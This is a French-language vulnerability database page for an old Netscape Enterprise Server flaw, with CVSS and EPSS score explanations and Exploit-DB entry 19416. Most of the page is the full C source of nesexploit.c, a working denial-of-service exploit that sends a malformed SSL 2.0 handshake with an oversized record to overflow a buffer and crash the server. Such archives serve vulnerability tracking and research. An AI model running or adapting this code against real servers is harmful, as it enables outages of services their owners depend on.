Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 19416
Date de publication : 1999-07-05 22h00 +00:00
Auteur : Arne Vidstrom
EDB Vérifié : Yes
/*
source: https://www.securityfocus.com/bid/516/info
Netscape's Enterprise Server suffers from a buffer overflow error in the SSL handshaking code that causes it to crash when the buffer is overrun.
*/
//
// nesexploit.c - v1.02 - by Arne Vidstrom,
[email protected]
//
// This program crashes Netscape Enterprise Server when it is
// running in SSL mode, by exploiting a bug in the SSL handshake
// code. The server crashes if the client:
//
// * starts with SSL 2.0 format
// * uses long record header
// * uses padding >= 8
// * sends at least 11 bytes more data than it specifies in the
// header
// * sends at least about 4 kb data
//
// I haven't included any error handling in the code because it's
// so boring to write... ;o)
//
#include <winsock.h>
#include <string.h>
#include <stdio.h>
#define sockaddr_in struct sockaddr_in
#define sockaddr struct sockaddr
// Some combinations of these three constants will crash the server,
// others will not.
#define PADDING 8
#define SPECIFIED_SIZE 11822
#define ACTUAL_SIZE 11833
void main(void)
{
// IP address of the server - set to your own server and nobody
// elses :o)
char ipaddr[25] = "xxx.xxx.xxx.xxx";
// SSL port
unsigned short port = xxxxx;
SOCKET socket1;
unsigned char s[65536];
int errorCode;
WSADATA winSockData;
sockaddr_in peer;
int result;
unsigned char i;
unsigned int l;
int flags;
printf("\nnesexploit.c - developed by Arne Vidstrom,
[email protected]\n\n");
// Allocate a socket, connect and stuff...
errorCode = WSAStartup(0x0101, &winSockData);
socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
peer.sin_family = AF_INET;
peer.sin_port = htons(port);
peer.sin_addr.s_addr = inet_addr(ipaddr);
for (i = 0; i < 8; i++)
peer.sin_zero[i] = 0;
result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
if (result != 0)
printf("Ehmn, where's that server? ;o)\n\n");
// Initialize the buffer with a lot of '.' Anything would do...
for (l=0; l<65536; l++)
s[l] = '.';
// Version 2.0 Format Header with padding.
// Shouldn't be any padding because this part is not encrypted,
// but without padding the server won't crash. :o)
s[0] = (SPECIFIED_SIZE & 0xff00) >> 8;
s[1] = (SPECIFIED_SIZE & 0x00ff);
s[2] = PADDING;
// Client says Hello!
s[3] = 0x01;
// Client wishes to use Version 3.0 later (there will be no "later" though...)
s[4] = 0x03;
s[5] = 0x00;
// Cipher Specs Length = 3
s[6] = 0x00;
s[7] = 0x0c;
// Session ID = 0
s[8] = 0x00;
s[9] = 0x00;
// Challenge Length = 16
s[10] = 0x00;
s[11] = 0x10;
// Challenge Specs Data
s[12] = 0x02;
s[13] = 0x00;
s[14] = 0x80;
s[15] = 0x04;
s[16] = 0x00;
s[17] = 0x80;
s[18] = 0x00;
s[19] = 0x00;
s[20] = 0x03;
s[21] = 0x00;
s[22] = 0x00;
s[23] = 0x06;
// Challenge Data is a few '.' from above
// The rest is also '.' from above
// Send all this to the server
flags = 0;
result = send(socket1, s, ACTUAL_SIZE, flags);
if (result != SOCKET_ERROR)
printf("Done!\n\n");
// Clean up
closesocket(socket1);
WSACleanup();
}
Products Mentioned
Configuraton 0
Netscape>>Enterprise_server >> Version *
Références